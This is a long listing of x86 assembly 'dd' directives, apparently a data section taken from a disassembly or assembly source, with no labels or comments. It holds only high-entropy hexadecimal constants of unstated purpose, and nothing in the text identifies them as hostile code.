dd 48A50013h, 1F163CC1h, 8803115Fh, 3402CFA0h, 47EB835h
dd 0AF9C0710h, 0C53F4B54h, 3BD400D6h, 0C7C3750h, 8A00D8EEh
dd 0AD782DFCh, 0CBE369h, 6B915C72h, 18BAEB1Fh, 0E6FB6400h
dd 0FE6E5744h, 2475DDh, 3FEC174Eh, 15BC31C4h, 514F20h
dd 8302E110h, 13761DB4h, 525F3Ah, 35B12434h, 0CB1A7Bh
dd 5C16E73Ah, 72914D0Dh, 8D0F1700h, 8AC93437h, 38C0222h
dd 54811ED5h, 61234460h, 0E05F900h, 8DE44FCDh, 0E8AC004Bh
dd 0FCBBCC5Ah, 0C0EB9B3h, 0C0F892D0h, 60444E1Eh, 0FCD95004h
dd 792A00DBh, 5DC76AC4h, 360BFBABh, 813E7C2Fh, 0C2E643E6h
dd 48E880D9h, 0A6982EA7h, 146203C0h, 1DD8444Fh, 9600D5DDh
dd 807787DBh, 7AF2DCh, 67487F1Bh, 0D812E115h, 6574B72Ch
dd 13C04A1Fh, 0B455AAA1h, 3F32001Ch, 0EF4B2AD1h, 601406B2h
dd 75E0A908h, 4FCE0F00h, 62CAE6F6h, 590700B8h, 81957479h
dd 6F00BE96h, 0BF8C43Ah, 57F155h, 67380263h, 0C2EB715Ch
dd 98003076h, 0CAD0B76Bh, 0FC18F14h, 0A4F57748h, 542A5A80h
dd 4001D65h, 222B7557h, 209292Ch, 0FC7F353Dh, 0C0AECFh
dd 0FE0E582Dh, 631C601Eh, 1C6B0A9h, 0A442D2C8h, 0DC0A2B56h
dd 0FA05BE18h, 0A870CA32h, 8178E00h, 104855h, 0EC30092Eh
dd 0F08040BFh, 5E9EE100h, 48A321B0h, 6200050h, 0E7D844D1h
dd 0DB2C1E1Ah, 96001810h, 0D55CD363h, 6115002Dh, 0E4B3A918h
dd 8E032594h, 10F7589Fh, 0DCAAB0FCh, 5BEF0062h, 71ECA345h
dd 0D800AEFDh, 9E01B094h, 2EA516h, 0F91F1711h, 0ADB4291Eh
dd 1951E500h, 0ECA1223Bh, 1107009Fh, 0B893F9BCh, 0FB7B8EF1h
dd 12403A30h, 76CA5BEh, 0BC622118h, 0A23660E7h, 0B70013EAh
dd 958CC50Bh, 730784h, 3B9A5420h, 0A9D4666Ch, 0AF4CB1E6h
dd 0B3317B4Fh, 5E8F8ADCh, 1ACB864h, 277B810Eh, 0EF6BD7A3h
dd 0D5DD0C0h, 11D69C0Fh, 20C36EA8h, 0D8E52468h, 85BA5C41h
dd 4549076h, 0C937060Bh, 8CF4C33Fh, 1A9B5C0h, 0FAD58F00h
dd 0ABAF2B6Ah, 0D22C00C5h, 0C2A8F455h, 78003679h, 1EDC130Ah
dd 38391AAFh, 310967E8h, 0E48077F3h, 1279E4FDh, 2EB24D00h
dd 0A45F0930h, 404A026Eh, 4ED4420Dh, 78D5F040h, 0E35BDB00h
dd 524FF589h, 9F5D0147h, 27EDA6B3h, 0BBA87B5h, 6B30486Fh
dd 0BBA96AFh, 0D5F89021h, 0D1AD0481h, 2D37C470h, 13FC287Ah
dd 14658h, 0EDCA04F5h, 9069054Bh, 7B9E0133h, 7F111624h
dd 45088F3Bh, 96CBCF5Bh, 7141F300h, 0F0B9F7h, 464C1EACh
dd 2C7692BDh, 19024D07h, 0FC0066F2h, 1EC0CF4h, 787032A4h
dd 0E00D16A1h, 2300180Eh, 0F143B876h, 75DD7D55h, 1BC700DAh
dd 89F54950h, 0E007238Fh, 91BCAD98h, 0D832AF70h, 0A93008Eh
dd 66B5C3A9h, 0AB49DFE2h, 354C54h, 280BA738h, 72F48F04h
dd 5A6F002Ch, 0EBBF2F21h, 574CB4Fh, 39C9092Eh, 4455C000h
dd 0FCE62E6h, 0D3D5020Dh, 0F3C4FC0h, 7007A81h, 0F7FFFEBDh
dd 318CB1h, 0E459AEF8h, 32E3EC8Eh, 9C9B073Eh, 0B2806081h
dd 84EFE9Ch, 0E2C207B4h, 102FCD61h, 6C8BD618h, 9577D004h
dd 0C4D01B75h, 0CE28DD3h, 0E18FCBBFh, 2D00CA8Ah, 64AAFD3Eh
dd 0A6BD8h, 710472ADh, 0BAC8BB4h, 0BE801200h, 0C6D154Eh
dd 9846E208h, 0C07D66h, 92C63D3h, 0E3A257D4h, 96E61000h
dd 2D405628h, 179F1C3Dh, 72DE006Ah, 625086B9h, 3C017400h
dd 0B07026C7h, 3D080045h, 8DCEA70Bh, 0FDF4D34Fh, 2B2E3100h
dd 0B428C6FAh, 0E4950782h, 0C7990736h, 145BF043h, 8300069Fh
dd 9DFB2DC1h, 1ECAD3BEh, 1F55060h, 2EAEA556h, 90D8575Eh
dd 7858B37Bh, 0CBE69000h
dd 0B0BCD493h, 0DD0100BDh, 83A2B4F2h, 69013699h, 0C96DE2FDh
dd 0E7F42CF5h, 0E92E00CBh, 39073E5Dh, 0EF009D7Fh, 49F36CD3h
dd 7CE7184h, 7A960805h, 66547021h, 0ED00BB12h, 42C0D251h
dd 3B13DAC2h, 5500DDC5h, 648BEA6Bh, 5426BE98h, 3A00F42Eh
dd 8D638835h, 0C6201669h, 3B5B0043h, 19F0F93Fh, 0B3165C00h
dd 9718EAB8h, 7CCF0B66h, 87F66F38h, 86109300h, 478721h
dd 951E914Ah, 4556A768h, 0C9428B00h, 0F85D8517h, 63730C26h
dd 0CB092DF7h, 0F49B9103h, 0F92901ADh, 2880679Ah, 93480266h
dd 0D80082C6h, 0B28D0E87h, 3F9217h, 8C3CEB06h, 5B39D540h
dd 0E6F07205h, 0F8002052h, 0AFE036F9h, 0EDD83FC6h, 4A3E413Dh
dd 87033280h, 0A09F955h, 60727F2h, 8823F4B0h, 0B89AE3B1h
dd 1CD1EEC8h, 4E9FEADCh, 23A05AB9h, 298DA2E9h, 0D00B184Ah
dd 0C45410B7h, 5F09C05Dh, 8178FDFBh, 7ED48B07h, 849055B6h
dd 735495A2h, 0F927885h, 52460FDEh, 737D3EC0h, 0D748676Bh
dd 0CD29002Dh, 0B8752510h, 2790340h, 18707BABh, 0A0DCC09Dh
dd 1C73F4DEh, 357D1D03h, 0E0BE9BF7h, 0F5DDC93h, 58A96903h
dd 0C0CFBD80h, 96008018h, 0FDC41708h, 1C4AFAA4h, 80389EBCh
dd 54D272BAh, 29000FEBh, 0F38BD836h, 0E13D078h, 0D11E6B71h
dd 0F0F6AFC0h, 8900CDBFh, 79E34F72h, 0D7E863h, 1F4055EBh
dd 378AC278h, 23BD4803h, 0CDECED50h, 63FFDF00h, 706D3E4Ch
dd 81B400CEh, 772D25FCh, 0A9581564h, 0F1650EF8h, 0E6A2C0A3h
dd 7BA793h, 0BE549C31h, 0D84792D9h, 29262C03h, 8815A586h
dd 646185h, 0B3329FFDh, 4CA3F53Eh, 0AAB0A6C0h, 0F22EC9B4h
dd 0C160BEDh, 7B00FA07h, 4719239Ch, 527DA0A0h, 0DC283E0Ch
dd 7DB2101h, 0F7BE5E76h, 0D8A39347h, 0FEF021E0h, 89AF1507h
dd 38E1A718h, 1EFC4DFBh, 6AD800D3h, 0FF42CD7Bh, 0BB00CF97h
dd 0E5C809BCh, 43093F0h, 5A1E446Fh, 1C448078h, 4C249EBDh
dd 0C21468E0h, 550E17C3h, 0B5C7301Dh, 2EC07029h, 8B43C7h
dd 7122289Ah, 178E2F37h, 10351105h, 50800E64h, 1D9352B4h
dd 0A8F86E56h, 57B000A0h, 58218D14h, 0D7FE3CA3h, 9796A61Dh
dd 0F0B80300h, 0B652694h, 35BFC8D1h, 4E433080h, 48029C38h
dd 575B213Dh, 1FB858BDh, 0BE8CC81Eh, 0D773E380h, 58C6703Fh
dd 94FAD800h, 80BF06ADh, 62FD0120h, 0D60DE3EBh, 0D60AE93Eh
dd 1DFCB581h, 21307031h, 983DBA00h, 4BACE32Ch, 0BF940090h
dd 3B781667h, 0D1009D91h, 3425875Dh, 0B8A17Ah, 500EAF79h
dd 0D3E3CBADh, 0B2E1E700h, 0A75E2124h, 0BE43002Ah, 1D16BF91h
dd 8100B906h, 0F32272B3h, 0C042E5h, 13E96F33h, 2C4BC92Ah
dd 0D7B38E01h, 0FFAA544h, 66F0F881h, 40A96FBBh, 5C8EDFFCh
dd 0A3576B03h, 0E1D9FB3Eh, 0CD3040C6h, 1A202ABh, 2754CBF6h
dd 0D19448C0h, 2ECD3D00h, 22E47E1Dh, 6E000F5h, 6A4590FBh
dd 9C0FC958h, 20CD91F9h, 0D19DD7Fh, 3766002Bh, 0ACBD5A04h
dd 0FC00A502h, 0BF700614h, 1220B055h, 0B12487h, 2C3A5377h
dd 0B903FE3Eh, 0B6A4AB54h, 0B220BF19h, 0F289451Ch, 0A2DF0041h
dd 4E5CDF7h, 5B00B6E1h, 18D2BA60h, 0C2064h, 0D6F9DD41h
dd 14896AD4h, 3C97721Ch, 843B55Dh, 0C8C205BCh, 38E5501Fh
dd 231E7188h, 0AD127Eh, 9E829BF4h, 4F0128AFh, 0C3E41C0Dh
dd 0E3E6F1FFh, 2386A862h, 989B015Ch, 3E947161h, 0A163D466h
dd 0E8E31D00h, 0F5BA64DDh, 478A0409h, 9084229Bh, 0C805A1F4h
dd 54001FECh, 6E230A9Ah, 38911FBh, 33C4455Ah, 0D1C8CCEFh
dd 640E02E9h, 0BFE06710h, 8948003Ah, 0BD4E65FEh, 443100A2h
dd 9FDC0F21h, 0F32666E9h, 0D99FF823h, 0A6CE7B40h, 7AD49EC4h
dd 60E8A261h, 0B4AF81h, 3F23344Ch, 8CA101FFh, 9DB99601h
dd 45760333h, 3928C0h, 0DFA7359Fh, 54A00491h, 0CA805000h
dd 0C90C3B30h, 3ED50495h, 80469406h, 0A50F2728h, 0ECD11100h
dd 0B60DC573h, 1E89239h, 51D69BE5h, 0ECDAC41Dh, 351E8CC6h
dd 4E80E43Ah, 9B54642Bh, 8446012Ch, 0D3DBE6ECh, 0F020D90Dh
dd 0CB00A9DDh, 4A2EFB60h, 0BCB346h, 9B3B9A50h, 3197C994h
dd 0EE7CF58h, 8259B9E8h, 40722FA3h, 0DE5C50h, 0C7F5F6F1h
dd 0A557C3E2h, 0CCC04400h, 3C35210Ch, 0AB662734h, 0A3012089h
dd 0FC151ABDh, 0BA48309Dh, 210D00E0h, 0AAF075B9h, 867900DCh
dd 9AB2E08Dh, 0EA278EFCh, 65680039h, 16B4293Bh, 146948A6h
dd 3838B7F4h, 0DE74E480h, 9C8F01Fh, 7C0F9500h, 6E141CEBh
dd 6229078Ah, 19345B8Bh, 5ED2F380h, 3CE84C13h, 0E516ABF6h
dd 30C0E380h, 0E6603D87h, 0D3CF02F5h, 5A3C7B8Dh, 0AAA1F880h
dd 840059A2h, 0F2FDD9D2h, 164E61h, 8D3429D5h, 196C5DE5h
dd 0AE3E9500h, 7A1F67E6h, 61090C6h, 460A638Eh, 88011178h
dd 0BC8680C8h, 0E430DD67h, 8B1B00ADh, 296D870Dh, 5B031116h
dd 534E1F8h, 0CDFCC8E5h, 0A2CE0055h, 0E03D27D4h, 0A3000D7Ah
dd 2126D99Ch, 5C827EBEh, 0FB7BEAE7h, 0C406B61h, 0C511017h
dd 77C4C212h, 7500C7F6h, 0A6E77FF1h, 0FD67195h, 1DB49F96h
dd 4547820h, 89F83CFCh, 82232Dh, 14A22867h, 88F82C1Eh
dd 5C20006Ch, 9C5DE990h, 190078E0h, 0C8A96BD7h, 14D76D9h
dd 0E3122F36h, 0D45EBFA1h, 4900370Bh, 7F0F180Ch, 34FB72h
dd 83A929C4h, 0E992749Fh, 897C0D00h, 41368F88h, 90C900A3h
dd 8EAD12B9h, 0D500FF28h, 8DDBA027h, 0E64DAA9Bh, 416B003Ch
dd 0AB73B060h, 4A015BFDh, 0A3DDD7A5h, 7DF456F4h, 1F4F0F2Ah
dd 79E1FC22h, 0C0B1E1F6h, 17CF4A7h, 83E27B00h, 0FE789FD0h
dd 9459585Fh, 888C4118h, 0B4FECAA4h, 757BD001h, 77E10805h
dd 0BAD6E040h, 0BC5037Fh, 53790325h, 9C26EDF0h, 0D0452028h
dd 0D14F29FEh, 7042CC40h, 94C328h, 4ACA2377h, 2CB45BD3h
dd 0EAEE1B75h, 810A1439h, 7B200F75h, 6430775Ch, 0A6FE072Ah
dd 205B38DAh, 0CED9BBF2h, 0D7230D00h, 7C9B480Fh, 4A8700ECh
dd 71DDB50h, 5FF8A5D1h, 0D700C776h, 0C1C55517h, 0F79A1A3Ah
dd 7E4B0D4h, 10ACD969h, 60BF007Eh, 0DC001F47h, 3A9F68A9h
dd 3012C3C0h, 34C848D4h, 8A01C19Ah, 0A0F81AACh, 0D6C46551h
dd 93412425h, 0B6EA85CCh, 0A98C00D4h, 1866A0C1h, 0DAB85E00h
dd 59EF31FBh, 0F16100D1h, 0C53A2F3h, 84989369h, 901DD71h
dd 0B57D472Eh, 8C706F4Bh, 0A02C5042h, 0D6E90077h, 0F0B9D2BFh
dd 8800A92Eh, 44241EB2h, 77AE8E4Bh, 0C6E70337h, 322F6DB4h
dd 8F3683F4h, 4127CDF8h, 7455C900h, 0BAA5FBC4h, 327B2605h
dd 307E0503h, 3AB0A057h, 7627DE0Eh, 0A716E573h, 80D8F04Bh
dd 0B9645B11h, 0EF3F1D93h, 0A080AD60h, 22FA3EB3h, 0BC7A71F8h
dd 822E0203h, 3970B050h, 17BDBD60h, 0BBF11F8Fh, 31343680h
dd 0CB3E16A0h, 0DB96872Ch, 73C062C9h, 28990397h, 0FA4E125h
dd 0AC478DFAh, 6FEA9D80h, 9400708Bh, 2AF71AB3h, 1B136AEh
dd 2FAB6516h, 0D8C8991Bh, 3100A49Ah, 3388B25Ch, 244958DCh
dd 5431475h, 0C7C4AA81h, 0B81740DEh, 1036087h, 6DF047CEh
dd 0D300E784h, 79BF542h, 0E39C9389h, 644E2013h, 74003C5Ah
dd 7F4061B2h, 0E650DBh, 3A7D1B28h, 0BDCC452Ah, 0F7DA2302h
dd 60BE8A19h, 310F313h, 0F0B2A829h, 0B988EC12h, 4F00BF74h
dd 1C2A6BDh, 0A0E399h, 0FE8C1D60h, 0BFFB6817h, 0CBD26601h
dd 56786735h, 1A8E60h, 4324844h, 0BC16C6B8h, 50B70100h
dd 5ADFDA7h, 4FD30046h
dd 0D27331D7h, 2000CB38h, 0D695D8EAh, 0F0592B5h, 0C250A50Dh
dd 0BFA45560h, 1100384Eh, 0B59D0673h, 0CDBED9h, 69BB10E2h
dd 990904A9h, 3DEBA203h, 8039E7EEh, 0D2208Bh, 0A8AE30BEh
dd 217C999Dh, 126BA48h, 0CAF393D6h, 0F7F0183Bh, 0A4D55069h
dd 41FF0058h, 9D46C62Ah, 0F90176EEh, 619BF319h, 9041E165h
dd 8C50C7F8h, 724F45h, 0DF2FFFCFh, 0D3BA7192h, 8FF1B007h
dd 17106C3Ch, 1F6C9CBh, 163A6043h, 0D49547A5h, 1A0193FFh
dd 5442CDB4h, 9040B927h, 1D6D5880h, 0C0D4F98Ah, 9B364C03h
dd 8F0034F7h, 95624B37h, 685ECEh, 706CBA2Ch, 60973DA3h
dd 0CCC13Ch, 9E3C1E73h, 3E98BDD6h, 0B1830994h, 0B022D2E5h
dd 805CC8B9h, 0C9026F4Ch, 549D7F1h, 926EC4CBh, 2779C03Ch
dd 62011B08h, 0F6FE67Ah, 1B20B922h, 26B300DCh, 0A933ABFAh
dd 0E7981A70h, 2901BA76h, 49A65101h, 47E44CC3h, 0B21200ADh
dd 682B16ECh, 0A003DD0h, 26CD11E1h, 3A7CB13h, 0A074FE07h
dd 8C98E25Bh, 0FB040CD9h, 0F1D3569Bh, 4D5D5680h, 0FA740008h
dd 19220511h, 0E07B6C9h, 0C5279916h, 6B40D707h, 0CB64FAh
dd 3FC65D66h, 14290D19h, 0C2F2750Fh, 70C34044h, 780489h
dd 0FEF4966Bh, 0E3EB7D3Eh, 0C55B2200h, 34598BA0h, 5C5E00EFh
dd 0C7DE79E5h, 98305D1Fh, 7E92516Bh, 20E86Fh, 2FB57A4Eh
dd 6E4B6D43h, 720605Ch, 38E3D370h, 8B3A4F70h, 95961F9Ah
dd 4C08B04Ah, 7200ACE0h, 0C4DF14C0h, 9BCAF5h, 94C105EFh
dd 0ED6D538Ah, 0D307927Ch, 9ECB5F11h, 0C7C097F5h, 424D2h
dd 42FE0E08h, 14BA6ACAh, 3000FEEh, 78C2992h, 682E6FBh
dd 0BDC0409Ah, 51770CDDh, 72006CECh, 0ACB091C1h, 103A77h
dd 25825AEEh, 8C7D7194h, 4BBFE0C7h, 1A0F80DBh, 0A57412h
dd 6E9C4384h, 5D3BCFAh, 0E1D16600h, 7AABEEB4h, 4861009Eh
dd 0D08B3B39h, 0CC17FD6Ch, 9700AD0Ch, 2981A14Fh, 702039Bh
dd 23F4A898h, 0EE9285A8h, 5A218609h, 7370036Ch, 2EAE887h
dd 3BB670A9h, 1907E6A5h, 20AEE370h, 6A3E3F1Fh, 40DD340Fh
dd 3BCF408Fh, 2E9A120h, 85833B3h, 3141BC4Fh, 9B2FFC22h
dd 2DCB4C07h, 268087B1h, 3B4884CDh, 307F154h, 80C32AE8h
dd 7371EDBDh, 0DB70A100h, 5BE984F3h, 0F0B006h, 2728F55Ch
dd 54CEC91Fh, 0E57F9A00h, 0C0EE04F8h, 42E7D3Ah, 0FE3DBA18h
dd 0FFF6C061h, 28C0A585h, 0F088FC45h, 0D8FD00CDh, 0BEDA49B4h
dd 0F103B1BAh, 0F5D1E308h, 85B898C5h, 3EB472ABh, 1400F753h
dd 51182687h, 0ED00AAFDh, 1D54B7AEh, 71B8DF7Dh, 87A004Bh
dd 0C8161E3Dh, 0BA1EC3A5h, 0D05EFF90h, 0B663B080h, 6C4622h
dd 444B4227h, 7BA8BEDDh, 32C6D00h, 0FDBB3980h, 0D8BD1D13h
dd 0EC6F4229h, 980095CEh, 0B00B3D16h, 0A2EFE996h, 988B53h
dd 63E0E122h, 6E030E3Ch, 0E6406A06h, 0DA5F7124h, 0FB916100h
dd 9D753FC5h, 14330040h, 0E8ECC4DBh, 610082D2h, 6D5BBBADh
dd 7B55AFC2h, 1858C081h, 0EEE96BC3h, 0E21E7400h, 9E34BA6h
dd 0B8D60097h, 7E2368DFh, 3E7AEA38h, 42F85700h, 11CAD23Dh
dd 0B51C0078h, 0C5178715h, 4600ED1Eh, 0D78D28F7h, 0A4EEF6h
dd 66F47A11h, 0E90E9AB0h, 0CE7FEA00h, 10B2357Bh, 44D002F2h
dd 0F341EFADh, 61863A40h, 8A48014h, 42383FC0h, 6CF6072h
dd 9B84B16Dh, 996B1B00h, 1A8D984Ch, 7ED9006Fh, 70FDE35Fh
dd 0E538A7B7h, 0ECC700EAh, 186A1D6Eh, 0E82E12A0h, 0BF404009h
dd 0BDFB538Dh, 11949A00h, 0CDD33E5h, 6AE0002Ah, 0DE54EA7Ah
dd 0BF55CA25h, 3B807EBCh, 0F622AC9h, 564EE4E2h, 1F403600h
dd 891E58D2h, 4B4978E6h, 0C1008023h, 371D5759h, 39985DCAh
dd 0C520B400h, 0A200A185h, 4A075C8Fh, 37E406h, 0AF2B4E1Ah
dd 0BB8145CCh, 0ACBD2D03h, 0A0AA58E0h, 3A37F9E1h, 0F2433C6h
dd 22770081h, 9F4AFF36h, 5243E600h, 0DA6A23A1h, 4450FECh
dd 9B20B2ADh, 244CC578h, 4DF9E90Eh, 1B40DD88h, 99A2F879h
dd 0EB223E1Ch, 7FDF5F80h, 443D0DC7h, 0A84C0F12h, 6BC08C00h
dd 657892h, 9C332F70h, 0FC8BE2BEh, 4A3F1503h, 110CB5Bh
dd 0DED667D0h, 0CF3296B4h, 9844D1A0h, 53C0B500h, 6470CA83h
dd 88AE0E5Fh, 3C2E23E4h, 84F8BE0h, 0B24B705h, 5C007CF8h
dd 7ACF3CBh, 95B10720h, 0A07C4A82h, 6504A227h, 0EDE73B00h
dd 419DBFE0h, 0DFE81FEFh, 73B48096h, 14DB77B2h, 8ADD0F00h
dd 9201321Ah, 0C83B0FC2h, 37C0BF85h, 0D8730CF4h, 25345E00h
dd 0D71DAE4h, 58E00E6h, 0B20A4F28h, 9A00561Ah, 7518C509h
dd 3B1590C6h, 0B883246Eh, 0F7A9E76Fh, 8FF511B8h, 0CE379D02h
dd 0C0139162h, 5A5E2Ch, 5740D27Eh, 0FFA6E578h, 0C32C4207h
dd 871973A9h, 0D6B53470h, 0A3609F80h, 16F1000Bh, 0F4232D52h
dd 3600ECA7h, 751F1B5Bh, 4C636C2Eh, 0FC02A365h, 98F9B9D6h
dd 111DC060h, 52901E01h, 0BA0FE84Ah, 0EAC44DCh, 6EA7482Dh
dd 0D0D46400h, 0ED7F17DAh, 241CBEA0h, 1698D48h, 0F961C7FBh
dd 0A083891Eh, 3151FA2h, 0DE814CE8h, 69C638C0h, 117AAD2h
dd 27253532h, 923C46BEh, 4AE6D16h, 0C07691F6h, 0A0065908h
dd 6C33F200h, 25D5C611h, 97718h, 9ADA6FBAh, 8DA6BF3Eh
dd 0BDE0BD3Eh, 0B05700D1h, 0AE121508h, 0BCD7045Bh, 0C01130D6h
dd 0C986597Bh, 64A68800h, 0B7392E20h, 3D417408h, 48A618C7h
dd 0DDD51F20h, 6FF840AEh, 0DFC336ABh, 0B1F6311Dh, 2E115D00h
dd 5F3DC6Bh, 0B8ADEC81h, 8350C549h, 64D875C2h, 4A16443Fh
dd 0B90055CEh, 0C35D2AAAh, 635F0269h, 0FA23CAE7h, 0C5809061h
dd 21B6EC4Bh, 48AC4Ch, 0CC5ACF82h, 7723D0Fh, 7C98C56Eh
dd 0C4BC1316h, 0F21A8FE8h, 0D3D15E00h, 5BC30897h, 1E9C00A3h
dd 9BBB11A6h, 250080E6h, 8ABDEE7Ch, 28A84Fh, 0CFC2E3FFh
dd 44ECDEFh, 0A031BB00h, 0A9913DE8h, 0E69F78C6h, 14EE27h
dd 591D1244h, 47FEDEC2h, 8B22B000h, 841C5E6h, 7672980Dh
dd 0F517407h, 7D8AA7EAh, 0F3F1A60h, 5C072EB7h, 0FF963EA2h
dd 0E728D330h, 5894607Ch, 6F3C0507h, 0F18431C7h, 0C05BB811h
dd 0A733F8C3h, 0A8140018h, 154EE78Ah, 0D93A8201h, 0EDDC00F4h
dd 887EC079h, 38D6EE91h, 0A9009CB2h, 0F124F9A5h, 0FC00B7BFh
dd 365DC3F2h, 3AA237F0h, 0AD805794h, 834AE43Eh, 280054B5h
dd 84BE5103h, 1056388h, 60F6E31Ah, 0E4738FF4h, 0AB2BA56Ah
dd 3F81A01Ch, 74E80F21h, 618FC8EFh, 50B91441h, 3703CD17h
dd 2AAB26E2h, 5FC01AC2h, 70396607h, 4A6AB3E7h, 3A06001Eh
dd 0AECA35D6h, 492EEDB4h, 0C3B7BC8h, 0F0E5D486h, 10BA0380h
dd 0FA9985FEh, 84140907h, 9A80E4DFh, 25D2F2h, 91D7DE97h
dd 0E23B5081h, 1A3C5F00h, 0EB6C7942h, 62EE1DCFh, 8B2B1DBBh
dd 500F56Bh, 9C18090h, 8C840A01h, 11F8D286h, 89DCC080h
dd 20B03A69h, 374F738h, 8785707Fh, 0E702D88Bh, 89C8000Ch
dd 94C05A66h, 1C00A2A9h, 2D9CA61Fh, 0F7962h, 5457DEAEh
dd 4708B25Dh, 37D88100h, 0D6F32EADh, 0F76C006Eh, 855E72BBh
dd 4D0F0E96h, 2E13DA31h, 1BDC208Eh, 18DD17Ch, 7B46FAA9h
dd 60564B40h, 0B007845Ah, 36CA1F16h, 0C0A49522h, 0CBEA7Bh
dd 1A967830h, 0CF473181h, 52BD5E03h, 0B08C6192h, 48EA6EC1h
dd 94003CC3h, 3B1555F7h, 4100BB80h, 0E39CD65Ch, 9F58BDh
dd 2BD39387h, 10A00523h, 6A187A00h, 75D01117h, 0C1A1D85h
dd 0AC03FFE8h, 0E7977E37h
dd 68441FC0h, 61F94300h, 0A3050FE9h, 0F4E65066h, 55B80626h
dd 28FCE14Ch, 0AF311B00h, 727EB7E0h, 7BEF0098h, 719A8DC2h
dd 9E0106A8h, 6777A2F9h, 0EB6F07h, 7DAD4008h, 0DC87B35h
dd 0EDD3CD03h, 806C8DFBh, 583D0h, 10FC51C5h, 7ECCCA63h
dd 0E54A6D09h, 8A9E03EEh, 14FDA1D2h, 1886C1F8h, 5847D908h
dd 5000382Eh, 0FC8513C5h, 7188F14h, 2808B37Dh, 5316803Bh
dd 0C3A031FDh, 6000D1DBh, 7CFEF73Ch, 94CC47h, 1D057201h
dd 2AC658B9h, 3E0A4800h, 1B092D64h, 755C0021h, 348D32FEh
dd 0F107B5BAh, 58E6C3E3h, 1D3AD10h, 28971244h, 70460313h
dd 8398A612h, 2671D20Eh, 436F5800h, 4A0532FFh, 9B270013h
dd 0C4647EE0h, 811C48D1h, 0F0810F94h, 70F7CDBAh, 66F053E1h
dd 0FC77000Eh, 969D6584h, 0EB7CE957h, 0DFC87D50h, 35503F00h
dd 85A4A829h, 1CC4B01Ch, 2C34AAh, 13677FBBh, 3B0011D3h
dd 5703C0CFh, 1461D5A5h, 0DAE701F3h, 4A4B6804h, 0EE5C801Ah
dd 909850A4h, 61C53E02h, 0C2465AB4h, 0B3E020F2h, 0EC015F0Bh
dd 7A00098h, 0BEDFE72Dh, 6C0310FEh, 339134D4h, 3BC4B881h
dd 0A6BB0012h, 0C5BEDA1Bh, 9B00D0D5h, 0C66B421Dh, 0EEF902E5h
dd 38D81670h, 0C0C11E0Fh, 0FAFE3109h, 1F00468Dh, 1CF1FBF8h
dd 1F7F341Eh, 7AE08DCh, 307B5815h, 472EE78h, 77CB6E07h
dd 1C51F895h, 29300A12h, 98901363h, 16CD065Fh, 0F66F1094h
dd 0ADAFC02Eh, 71383D1h, 2F1FCF5Dh, 0E41AA03Bh, 6924ACAEh
dd 0EE00DC12h, 1587456Ah, 0D8DC0037h, 3ADE3B7Ah, 0E260E9F7h
dd 27CD2410h, 44CE17Ch, 3A31C03Dh, 2EA287Fh, 5C7910C9h
dd 0D361048Ch, 37A890BAh, 0B901E24Ah, 7DAB93C1h, 18E4C298h
dd 0E63313A5h, 77D80026h, 9AF3B430h, 0F20160ECh, 0F5A57D52h
dd 71C55C01h, 0FF1C4880h, 68361369h, 88E8C27Fh, 5C0042E8h
dd 458A6DF2h, 0E3885FAh, 4D9CF023h, 4EC270A0h, 0A500BD56h
dd 394A9EBAh, 0CC0DE98h, 70B2A10Eh, 0C248F559h, 0DD3065D8h
dd 27BB8C43h, 9F53B08Fh, 2654009Eh, 0A5E29160h, 1600BE0Ch
dd 0A2742FA6h, 79D9764h, 0F898A3EFh, 0F7BA637Ch, 0F534C079h
dd 60489E17h, 581037h, 0C47C68D6h, 71A101Bh, 0E25F0597h
dd 0AEACD0C1h, 2E0044ADh, 7FB13F33h, 4FC52621h, 1192079Fh
dd 4ABA80DDh, 790057EDh, 3E047AFDh, 1FEBF2Ah, 0A39491DFh
dd 0D8994355h, 0C10049D1h, 0D3A276EEh, 7D3C73h, 0A3504FB1h
dd 398631BFh, 7C057B00h, 0CD1FF252h, 0A1A3D44h, 0E882F80h
dd 769980A2h, 0CA787975h, 9220DC00h, 9A738433h, 0C7E50048h
dd 66C41CEh, 2F00C01Ch, 3B185B13h, 0B2216652h, 42652C8h
dd 460530E0h, 0FEEB747h, 0C31FE3F0h, 4B82C9h, 47420F18h
dd 46488DAh, 31560600h, 4A77449Dh, 0F8FD017Fh, 0C4562F1h
dd 2908CF92h, 10579BA0h, 429488BEh, 0CC2EBB42h, 444E5103h
dd 0E744605Dh, 0A8BE44F4h, 6DC12284h, 2F295C60h, 252A17h
dd 0DC3EE6B2h, 0F94A397Ah, 5A874100h, 0F5D9FFE9h, 0AA6000E4h
dd 0C19E2598h, 92391510h, 0D15B9F68h, 4B5F987h, 86FE6D30h
dd 0D7EA1C41h, 84A38024h, 13488EDCh, 7501ED2Eh, 6756D900h
dd 0BE75F3h, 194C51B1h, 916D903Dh, 1D0F6500h, 926BC07h
dd 0BA2200DAh, 407519C6h, 0D81D437Bh, 0B9CE0250h, 0CDCA802Ch
dd 3D9C4FCh, 9C9555C1h, 5B1CF40h, 682DECFEh, 0D0F0A703h
dd 8854B443h, 27ABD220h, 0F841F38Dh, 0A5D04031h, 213DF81Ch
dd 10350018h, 2A50711Dh, 0D96F0779h, 30989942h, 33B570C9h
dd 93458F00h, 9F2C90E7h, 27070125h, 0F505A47Ah, 0A8FEC486h
dd 0BF159800h, 0ACB3312Ch, 0ADD301C5h, 0B29E2D49h, 0FF142042h
dd 1B891300h, 1A3F2852h, 45CD3F2Ah, 0C52BE381h, 0D85DBF69h
dd 7900D5B8h, 0E68D406h, 0A541Dh, 0F8E551ACh, 5727914Eh
dd 0AD5A3D00h, 642804F1h, 6C77914h, 8A2AEF65h, 0E200E2A8h
dd 9C1D239Fh, 184FF587h, 70E0A232h, 2F003798h, 0DE920512h
dd 67F6C6h, 46FFBDABh, 0E8A22C41h, 4A153300h, 561B3E87h
dd 44833830h, 0EA059680h, 1E436320h, 0AB00A4F4h, 7F85FB9Dh
dd 485ECE03h, 0EE045CEFh, 0EFDCE35Fh, 0D9071C83h, 0EE05117h
dd 9F9506F8h, 0A6AC8E55h, 0D7DF0400h, 4EC06A4Ah, 0F14C003Eh
dd 322A34F9h, 1600A7E8h, 15FB1A51h, 240BEBh, 0CA926257h
dd 0BFBDDC72h, 75A98518h, 0C99A1Ch, 5DC0377Ah, 0DB94357Ch
dd 15308700h, 5065FECDh, 0E26C00ACh, 26ECBBA0h, 57003708h
dd 0F8427FC3h, 0E3D57Ah, 2E8E3E0Fh, 0B259F9DFh, 18F4C81Fh
dd 0E262780h, 2A55C4h, 0B1D6AD63h, 513DAAF2h, 0F3C0495Ah
dd 3BB60FE6h, 0E780231Dh, 469CA6A2h, 0D61C819Dh, 30BC3BA1h
